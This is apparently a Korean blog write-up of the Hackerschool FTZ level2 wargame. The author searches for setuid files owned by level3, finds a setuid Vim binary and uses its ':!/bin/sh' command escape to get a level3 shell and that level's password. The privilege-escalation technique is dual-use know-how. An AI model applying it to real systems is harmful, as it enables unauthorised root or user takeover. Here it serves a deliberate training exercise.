Wargame/FTZ
Hackerschool FTZ level2
pwn3r_45
2011. 7. 17. 01:22
Category : System hacking
ssh://ftz.hackerschool.org
id : level2
pw : hacker or cracker |
Summary : Excute command in VIM
서버에 접속하여 디렉토리에있는 파일들을 확인하니 hint 라는 파일이 있다.
[level2@ftz level2]$ ls -l
합계 16
-rw-r--r-- 1 root root 60 3월 23 2000 hint
drwxr-xr-x 2 root level2 4096 2월 24 2002 public_html
drwxrwxr-x 2 root level2 8192 7월 10 05:52 tmp
[level2@ftz level2]$ cat hint
텍스트 파일 편집 중 쉘의 명령을 실행시킬 수 있다는데...
|
아직까진 무엇을 의도한 힌트인지 모르므로 잠시 잊어두고 , level1에서 했던것과 같이 level3 user에 setuid가 걸린 파일을 찾는다.
[level2@ftz level2]$ find / -user level3 -perm -4000 2> /dev/null
/usr/bin/editor
[level2@ftz level2]$ ls -l /usr/bin/editor
-rwsr-x--- 1 level3 level2 22380 3월 29 2003 /usr/bin/editor |
/usr/bin/editor 이란 level3 user의 실행파일에 setuid가 걸려있다.
실행이 가능하므로 우선 실행해본다.
[level2@ftz level2]$ editor
~
~
~
~ VIM - Vi IMproved
~
~ version 6.1.320
~ by Bram Moolenaar et al.
~ Vim is open source and freely distributable
~
~ Help poor children in Uganda!
~ type :help iccf<Enter> for information
~
~ type :q<Enter> to exit
~ type :help<Enter> or <F1> for on-line help
~ type :help version6<Enter> for version info
~
~
~
|
VIM 에디터이다. 이제 다시 hint의 내용을 떠올려보면 , level3의 권한으로 setuid가 걸린 VIM 에디터에서 외부명령을 수행해 패스워드를 획득하는 것임을 생각할수있다.
VIM 의 외부명령어 기능을 이용하여 /bin/sh를 실행한다.
[level2@ftz level2]$ editor
~
~
~
~ VIM - Vi IMproved
~
~ version 6.1.320
~ by Bram Moolenaar et al.
~ Vim is open source and freely distributable
~
~ Help poor children in Uganda!
~ type :help iccf<Enter> for information
~
~ type :q<Enter> to exit
~ type :help<Enter> or <F1> for on-line help
~ type :help version6<Enter> for version info
~
~
~
:!/bin/sh
[level3@ftz level2]$ id
uid=3003(level3) gid=3002(level2) groups=3002(level2)
[level3@ftz level2]$ my-pass
Level3 Password is "can you fly?". |
level3 user의 쉘을 획득하고 password를 얻었다.